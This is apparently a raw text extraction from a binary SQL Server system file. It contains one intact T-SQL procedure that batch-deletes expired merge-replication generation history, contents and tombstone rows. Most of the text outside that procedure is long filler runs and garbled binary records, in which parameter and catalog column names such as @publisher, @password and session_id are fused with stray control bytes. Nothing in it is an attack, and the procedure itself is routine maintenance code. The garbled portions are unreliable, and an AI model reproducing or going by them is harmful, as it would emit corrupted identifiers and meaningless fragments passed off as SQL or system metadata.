!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!`x	
<zg	99~0@ D8,Dh$0@ 8create procedure sys.sp_MScleanup_zeroartnick_genhistory 
    (@num_genhistory_rows int = 0 output, 
     @num_contents_rows int = 0 output,
     @num_tombstone_rows int = 0 output)
as
    declare @retcode smallint
    declare @guidnull uniqueidentifier
    declare @oldgencount int
    declare @zeroartnickgencount int
    declare @bi_view_objid int
    declare @cmd nvarchar(1000)
    declare @delcount int
    declare @delbatchsize int
    declare @err int
    declare @cutoffdate datetime
    declare @curdate datetime

    set @delbatchsize= 5000
    
    -- If there is any publication that has infinite retention, then we 
    -- should not clean up genhistory rows that have 0 art_nick. This is 
    -- because the gen could potentially have changes in articles that belong
    -- to that publication.
    if exists (select * from dbo.sysmergepublications where isnull(retention,0) = 0)
        return 0
    
    select @curdate = getdate()
    -- Now we know we only have publications that have a finite retention period.
    -- Let us choose the highest retention period across all publications and use
    -- that when cleaning up generations with 0 art_nick. Again this is because this
    -- gen could have changes in articles from any of those publications. It is safer
    -- to be pessimistic.
    -- add one to make up for maximal possible timezone differences, plus one to compensate for clock inaccuracies
    select @cutoffdate = min(sys.fn_subtract_units_from_date(isnull(retention,0), retention_period_unit, @curdate))
    from dbo.sysmergepublications

    create table #oldgens (artnick int, gen bigint, genstatus tinyint not null, coldate datetime not null)
    create unique clustered index ucOldgens on #oldgens(artnick, gen)
    create table #zeroartnickgens (gen bigint, genstatus tinyint not null, coldate datetime not null)
    create unique clustered index ucZeroartnickgens on #zeroartnickgens(gen)
    
    set @guidnull= '00000000-0000-0000-0000-000000000000'
    
    insert into #zeroartnickgens (gen, genstatus, coldate) select distinct generation, genstatus, coldate from dbo.MSmerge_genhistory where
                                    art_nick = 0 and
                                    generation > 1 and
                                    genstatus in (1,2) and
                                    coldate < @cutoffdate
                                    
    select @zeroartnickgencount = @@rowcount
    
    if (@zeroartnickgencount = 0)
    begin
        drop table #oldgens
        drop table #zeroartnickgens
        return 0
    end
    
    -- find entries that exist in MSmerge_contents that have art_nick = 0 in MSmerge_genhistory
    insert into #oldgens (artnick, gen, genstatus, coldate) select distinct tablenick, generation, 1, zg.coldate
            from dbo.MSmerge_contents mc inner join #zeroartnickgens zg
            on mc.generation = zg.gen
        
    select @oldgencount = @@rowcount

    -- find entries that exist in MSmerge_tombstone that have art_nick = 0 in MSmerge_genhistory
    insert into #oldgens (artnick, gen, genstatus, coldate) select distinct mt.tablenick, mt.generation, 1, zg.coldate
            from dbo.MSmerge_tombstone mt inner join #zeroartnickgens zg
            on mt.generation = zg.gen
            where not exists (select * from #oldgens where artnick = mt.tablenick and gen = mt.generation)
    
    select @oldgencount = @oldgencount + @@rowcount
    
    -- find entries that exist in MSmerge_past_partition_mappings that have art_nick = 0 in MSmerge_genhistory
    insert into #oldgens (artnick, gen, genstatus, coldate) select distinct ppm.tablenick, ppm.generation, 1, coldate
            from dbo.MSmerge_past_partition_mappings ppm inner join #zeroartnickgens zg
            on ppm.generation = zg.gen
            where not exists (select * from #oldgens where artnick = ppm.tablenick and gen = ppm.generation)
                  
    select @oldgencount = @oldgencount + @@rowcount
    
    update o set o.genstatus = z.genstatus
    from #oldgens as o join #zeroartnickgens as z
    on o.gen = z.gen

    set @retcode = 0
    
    if (@oldgencount > 0)
    begin
    
		exec @retcode = sys.sp_MSexpire_dynamic_snapshots_affected_by_cleanup
        if @retcode<>0 or @@error<>0 goto Done
        
        exec @retcode = sys.sp_MSmark_expired_subscriptions
        if @retcode<>0 or @@error<>0 goto Done

        -- cleanup contents and tombstone
        exec @retcode = sys.sp_MSdelete_specifiedcontentsandtombstone
                            @num_contents_rows output,  
                            @num_tombstone_rows output
        if @@error <> 0 or @retcode <> 0
            goto Done

        -- cleanup before image tables
        set @bi_view_objid= (select top 1 before_upd_view_objid from dbo.sysmergearticles order by before_upd_view_objid asc)
        while @bi_view_objid is not null
        begin
            set @cmd= 'delete top (' + cast(@delbatchsize as nvarchar) + ') bi from ' + quotename(object_name(@bi_view_objid)) + ' as bi inner join #zeroartnickgens as zag on (bi.generation = zag.gen)'
            set @delcount= @delbatchsize
            while @delcount = @delbatchsize
            begin
                exec @retcode= sys.sp_executesql @cmd
                select @delcount= @@rowcount, @err= @@error
                if @err <> 0 or @retcode <> 0
                    goto Done
            end
            
            -- get next bi table
            set @bi_view_objid= (select top 1 before_upd_view_objid 
                                from dbo.sysmergearticles 
                                where before_upd_view_objid > @bi_view_objid 
                                order by before_upd_view_objid asc)
        end
    end
    
    set @delcount= @delbatchsize
    while @delcount = @delbatchsize
    begin
        delete top (@delbatchsize) from dbo.MSmerge_generation_partition_mappings 
        where generation in
            (select gh.generation from dbo.MSmerge_genhistory as gh inner join #zeroartnickgens as zag 
                on (gh.generation = zag.gen) 
                where gh.art_nick = 0 
                and gh.generation > 1 
                and gh.genstatus in (1,2) 
                and gh.coldate < @cutoffdate)
                
        set @delcount= @@rowcount
    end
    
    set @delcount= @delbatchsize
    while @delcount = @delbatchsize
    begin
        delete top (@delbatchsize) gh from dbo.MSmerge_genhistory as gh inner join #zeroartnickgens as zag on (gh.generation = zag.gen) 
                where gh.art_nick = 0 
                and gh.generation > 1 
                and gh.genstatus in (1,2) 
                and gh.coldate < @cutoffdate
                
        set @delcount= @@rowcount
        set @num_genhistory_rows= @num_genhistory_rows + @delcount
    end

Done:
    drop table #oldgens
    drop table #zeroartnickgens
    return @retcode
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`N-E	R)(4h	Q2+0-n88
A@objid0-n_@pass_through_scripts0-n[@target_object_name0-I@publisher0-O@publisher_db0-M@publication0-$$C@job_id-'0-'G@password0-:S@publisher_type0-:I@publisher0-:O@source_table0-:O@source_owner0-:88
W@publication_type0-`#88
O@parameter_id0-`#88
A@value0-#M@publication0-#I@publisher0-u888
Q@subtype_adddf0-u888
Y@subtype_addcolumn0-u888
A@objid0-u8hhM@debug_print0-;88
G@newvalue0-&AhhA@onoff0-6QI@publisher0-6QO@publisher_db0-6QM@publication0-6Q88
Y@subscription_type0-QVV88
C@msgnum0-QVV44G@severity0-QVVE@msgtext0-QVV?@lang0-QVVG@with_log0-QVVE@replace0-WI@publisher0-WO@publisher_db0-WM@publication0-WK@subscriber0-WQ@subscriber_db0-W00C@status0-W00Y@subscription_type0-W00I@sync_type0-W	88
S@frequency_type0-W
88
[@frequency_interval0-W88
m@frequency_relative_interval0-W88
m@frequency_recurrence_factor0-W
88
W@frequency_subday0-W88
i@frequency_subday_interval0-W88
g@active_start_time_of_day0-W88
c@active_end_time_of_day0-188
G@agent_id0-188
?@type-\
0-\PC@hexstr-Vhh0-VW@capture_instance0-RM@publication0-G2I@tablename0-G2I@ownername0-G2G@procname0-G2$$A@pubid0-G2$$A@artid0-G2hhg@generate_subscriber_proc0-G2Y@destination_owner0-$$A@pubid0-v%
I@tablename0-v%?@col10-v%?@col20-v%?@col30-v%?@col40-v%?@col50-v%?@col60-v%?@col70-v%	?@col80-v%
?@col90-v%A@col100-v%A@col110-v%
A@col120-v%A@col130-v%A@col140-v%A@col150-v%A@col16!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!_8
^

gz/

J

		:	W
r1\Sj#q0m.q2u6i5N	DyH@[`-.4)i	4%X.a;0-u88
Isession_id0-u88
amost_recent_session_id0-u==Mconnect_time0-uP4POnet_transport0-uP4POprotocol_type0-u88
Uprotocol_version0-u88
Kendpoint_id0-uP4PQencrypt_option0-u	P4PKauth_scheme0-u
44Onode_affinity0-u88
Gnum_reads0-u88
Inum_writes0-u
==Glast_read0-u==Ilast_write0-u88
Snet_packet_size0-u040Yclient_net_address0-u88
Sclient_tcp_port0-u040Wlocal_net_address0-u88
Qlocal_tcp_port0-u$$Oconnection_id0-u$$]parent_connection_id0-u@@amost_recent_sql_handle0-
VC@dbname0-
V?@type0-488
A@tabid0-488
A@colid0-400Q@publishertype0-M4Efilename0-M++
"
Ocreation_time0-MOsize_in_bytes0-S@component_type0-A@param0-$$;@id0-$$G@step_uid0-?@name0-88
S@frequency_type0-88
[@frequency_interval0-88
W@frequency_subday0-88
i@frequency_subday_interval0-88
m@frequency_relative_interval0-	88
m@frequency_recurrence_factor0-
88
Y@active_start_date0-88
U@active_end_date0-88
g@active_start_time_of_day0-
88
c@active_end_time_of_day0-A@login0-G@password0-88
G@proxy_id0-88
?@nick0-
]@qualified_tablename0-$$A@pubid0-a@unqualified_tablename!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Mp)>

)
O4

[
 
		=	XTGLW1JW
`s-`/)j	~I0-{88
Gobject_id0-{88
Gschema_id0-{88
Uprocedure_number0-{=type0-{WPROCEDURE_CATALOG0-{UPROCEDURE_SCHEMA0-{QPROCEDURE_NAME0-{QPARAMETER_NAME0-{	44UORDINAL_POSITION0-{
44QPARAMETER_TYPE0-{00]PARAMETER_HASDEFAULT0-{WPARAMETER_DEFAULT0-{
hhKIS_NULLABLE0-{44GDATA_TYPE0-{88
eCHARACTER_MAXIMUM_LENGTH0-{88
aCHARACTER_OCTET_LENGTH0-{44WNUMERIC_PRECISION0-{44ONUMERIC_SCALE0-{ddKDESCRIPTION0-{GTYPE_NAME0-{SLOCAL_TYPE_NAME0-{{SS_XML_SCHEMACOLLECTION_CATALOGNAME0-{ySS_XML_SCHEMACOLLECTION_SCHEMANAME0-{kSS_XML_SCHEMACOLLECTIONNAME0-{YSS_UDT_CATALOGNAME0-{WSS_UDT_SCHEMANAME0-{KSS_UDT_NAME0-{eSS_UDT_ASSEMBLY_TYPENAME0-{]SS_TYPE_CATALOG_NAME0-{YSS_TYPE_SCHEMANAME0-{44WMANAGED_DATA_TYPE0-{ 88
_SS_DATETIME_PRECISION0-M@publication0-E@article0-C@column0-
I@operation0-hhc@refresh_synctran_procs0-hh[@ignore_distributor0-88
Q@change_active0-hhi@force_invalidate_snapshot0-	hhi@force_reinit_subscription0-
I@publisher0-hhG@internal-0-?@colv0-NA@table0-NA@owner!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!v5~5
c

T6

'
	e		jq&s(t#},C`m-e7)k	,/tT0-E88
Gobject_id0-E44Anumber0-E=name0-E88
Mparameter_id0-E00Qsystem_type_id0-E88
Muser_type_id0-E44Imax_length0-E00Gprecision0-E	00?scale0-E
hhGis_output0-EhhOis_cursor_ref0-EhhWhas_default_value0-E
hhSis_xml_document0-EbbPPOdefault_value0-E88
Wxml_collection_id0-EhhKis_readonly0-|G@@Irequest_id0-|G@@Isession_id0-|G@@Astatus0-|G==Ksubmit_time0-|G==Istart_time0-|G==Uend_compile_time0-|G==Eend_time0-|G88
Ytotal_elapsed_time0-|G	?label0-|G
HHEerror_id0-|G88
Kdatabase_id0-|G@@Ccommand0-1c88
g@subscriber_security_mode0-1cW@subscriber_login0-1c]@subscriber_password0-1c88
i@distributor_security_mode0-1cY@distributor_login0-1c_@distributor_password0-1c88
e@publisher_security_mode0-1cU@publisher_login0-1c	[@publisher_password0-1c
I@job_login0-1cO@job_password0-1cc@db_master_key_password0-kQ@assembly_name0-kU@assembly_schema0-k88
M@assembly_id0-v88
Kdatabase_id0-v88
Icatalog_id0-vQmemory_address0-v@@=name0-vhhGis_paused0-v88
Astatus0-MajE@name_in0-MajG@name_out0-yj88
;@p10-yj88
;@p20-yj@;@p30-yj@;@p4!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!$O
n

g,eer
Y

	:	|9jw.Ynu&Yr%`-w.)
l	Mh0-W|Ievent_name0-W|Oproperty_name0-$$A@subid0-88
Q@keep_sessions0-G@loginame0-88
A@bogus0-}M@publication0-}E@article0-}I@publisher0-}S@publisher_type0-}hhO@command_only0-}hhA@alter0-}hhI@trig_only0-
4=name0-
x4xKobject_type0-
$$Mpackage_guid0-
4Kdescription0-
88
Mcapabilities0-
4Wcapabilities_desc0-
4Gtype_name0-
$$Wtype_package_guid0-
	88
Gtype_size0-O@table_schema0-K@table_type0-M@publication0-I@publisher0-O@publisher_db0-U@subscriber_type0-;;a@subscription_priority0-I@sync_type0-M@description0-Y4=name0-Y88
Gcolumn_id0-Y4Kobject_name0-Y$$[object_package_guid0-Y4Gtype_name0-Y$$Wtype_package_guid0-Yx4xKcolumn_type0-Y4Mcolumn_value0-Y	88
Mcapabilities0-=@gen0-88
M@changecount0-88
E@artnick0-C@dbname0-E@nickbin0-$$A@pubid!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!U

\

		@	A\{$9V@_
9L
	
w:`H- )m	<2M#0-uC@dbname0-u88
O@script_entry0-u88
A@value0-q=M@publication0-q=O@publisher_db0-q=I@publisher0-q=hha@ignore_merge_metadata0-q=hhi@force_preserve_rowguidcol0-yM@publication0-yI@publisher0-UI@publisher0-UO@publisher_db0-UM@publication0-UK@subscriber0-UQ@subscriber_db0-U88
Y@subscription_type0-tO@table_schema0-tK@table_type0-QM@publication0-QE@article0-QhhM@fautogen_id0-QhhA@alter-88
0-M@publication0-I@publisher0-S@publisher_type0-
I@tablename0-I@indexname0-88
A@flags!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!=~9R]xo&/y3`/-&a)Sn	;|0-B
\44Kdatabase_id0-B
\88
Gobject_id0-B
\88
Eindex_id0-B
\Iuser_seeks0-B
\Iuser_scans0-B
\Muser_lookups0-B
\Muser_updates0-B
\==Qlast_user_seek0-B
\	==Qlast_user_scan0-B
\
==Ulast_user_lookup0-B
\==Ulast_user_update0-B
\Msystem_seeks0-B
\
Msystem_scans0-B
\Qsystem_lookups0-B
\Qsystem_updates0-B
\==Ulast_system_seek0-B
\==Ulast_system_scan0-B
\==Ylast_system_lookup0-B
\==Ylast_system_update0-B
\88
Kpdw_node_id0-<]M@publication0-<]E@article0-<]hhO@returnfilter0-<]I@publisher0-<]88
A@found0-<]hh=@rmo0-sfI@publisher0-sfO@publisher_db0-sfM@publication0-sfE@article0-sfK@subscriber0-sfS@destination_db0-sf
U@subscriptionlsn0-sf88
I@lsnsource0-sf	88
A@pubid0-sf
88
_@publisher_db_version0-sfK@script_txt0-sf]@nosync_setup_script0-sf

S@next_valid_lsn0-sf88
A@artid0-m$$A@pubid0-P}[@primary_key_bitmap0-P}88
A@index0-P}C@colpos0-P}88
E@art_col0-/}M@publication0-/}@M@description0-/}88
K@request_id0-b~I@publisher0-b~O@publisher_db0-b~M@publication0-b~A@login0-b~(I@operation0-b~hhK@has_access0-b~hh?@skip0-~K@table_name0-~Y@index_column_name0-c88
Kdatabase_id0-c88
Urecovery_unit_id0-c88
Uresource_pool_id0-c=size0-c88
K@DatabaseId0-188
O@publisher_id0-1O@publisher_db0-100=@len0-R@@Irequest_id0-R88
Istep_index0-R88
Qdms_step_index0-R88
Kpdw_node_id0-R88
Sdistribution_id0-R@@=type0-R@@Astatus0-RObytes_per_sec0-R	Sbytes_processed0-R
Qrows_processed0-R==Istart_time0-R==Eend_time0-R
88
Ytotal_elapsed_time0-REcpu_time0-R88
Iquery_time0-R88
Wbuffers_available0-R88
Edms_cpid0-R88
Esql_spid0-RHHEerror_id0-R@@Ksource_info0-R@@Udestination_info0-R@@Ccommand0-eM@publication0-eI@publisher0-W@procedure_schema0-_O@source_owner0-_O@source_table0-[{00Q@metadata_type0-[{88
U@parent_nickname0-[{$$S@parent_rowguid0-[{7c@logical_record_lineage0-[{$$A@pubid!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!x+\Hy";\	y<M~/Xc
5^{.

Y

|;@

W

	d		:gs$G@IZc7`.-S)Go	//>Z0-xqM@server_name0-xqQ@database_name0-xq88
K@agent_type0-xqI@publisher0-xqO@publisher_db0-&`vM@publication0-&`vI@publisher0-&`vO@publisher_db0-&`vG@property0-&`vA@value0-I@publisher0-O@source_owner0-O@source_table0-hhE@refresh0-s̆E@keytype0-s̆;@fn0-s̆=@pwd0-arK@table_name0-arM@table_owner0-arU@table_qualifier0- ۛK@table_name0- ۛO@table_schema0- ۛM@column_name0- ۛS@constr_catalog0- ۛQ@constr_schema0- ۛM@constr_name0-V?@name0-VG@database0-DzI@publisher0-DzO@publisher_db0-DzM@publication0-88
G@newvalue0-88
K@profile_id0-hhM@raise_error0-4Qcomponent_name0-4Odatabase_name0-4Kschema_name0-4Kobject_name0-00?state0-=type0-xxGtype_desc0-BG@rolename0-BK@membername0-ǑM@publication0-ǑE@article0-ǑK@subscriber0-ǑS@destination_db0-Ǒhh[@ignore_distributor0-ǑG@reserved0-ǑI@publisher0-88
Oqueue_max_len0-88
Qenqueued_count0-88
Ostarted_count0-88
Kended_count0-88
Wfailed_lock_count0-88
Yfailed_other_count0-88
[failed_giveup_count0-88
genqueue_failed_full_count0-	88
qenqueue_failed_duplicate_count0-
88
Qelapsed_avg_ms0-88
Qelapsed_max_ms-hh0-88
I@object_id0-VI@publisher0-AK@subscriber0-AQ@subscriber_db0-A88
A@artid0-HQ@offloadserver0-E@optname0-͈?@name0-͈==?@time0-!88
W@source_object_id0-!M@ddl_command0-!
E@ddl_lsn0-!G@ddl_time0-!
K@commit_lsn0-!88
W@source_column_id0-!hhW@fis_alter_column0-!hhS@fis_drop_table0-$$S@parent_rowguid0-88
U@parent_nickname0-U@dest_common_gen0-N88
